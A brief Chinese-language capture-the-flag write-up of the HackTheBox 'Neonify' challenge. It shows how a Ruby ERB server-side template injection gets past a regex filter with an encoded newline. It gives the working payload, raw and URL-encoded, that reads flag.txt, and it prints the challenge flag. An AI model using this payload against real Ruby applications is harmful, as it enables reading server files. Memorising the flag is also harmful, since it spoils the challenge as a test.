# 信息收集

根本不会啊我真是日了狗了,只好去查资料
​
一个韩国姐姐是真的牛逼
​
原文地址:https://domdom.tistory.com/entry/Hackthebox-Neonify-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4
​
SSTI 的详细讲解:https://www.anquanke.com/post/id/188172
​
查看源码是 Ruby SSTI

14 行使用了正则表达式进行检查
​
在第 15 行,可以看到 neon 参数的值绑定到名为 ERB 的 Ruby 模板,并呈现为名为 index 的 html 模板。
​
通过查阅资料可以查到 Ruby 读取文件的代码
​

<div>
  <%= File.read(filename) %>
</div>

# 构造攻击

通过小姐姐的笔记可以知道可以通过换行符 \n 的方式绕过正则表达式
​
当然小姐姐是通过读 Ruby 的文档,结合自己的经验尝试了 ^``$ 等常见的绕过方法后敲定的
​
那么我们直接提交 payload,URL 编码一下就能得到 flag
​
payload

<!-- 编码前 -->
a%0A<%= File.read(filename) %>
<!-- 编码后 -->
a%0A%3C%25%3D%20File.read('flag.txt')%20%25%3E

​
网页会直接返回 flag
​
flag: HTB{r3pl4c3m3n7_s3cur1ty}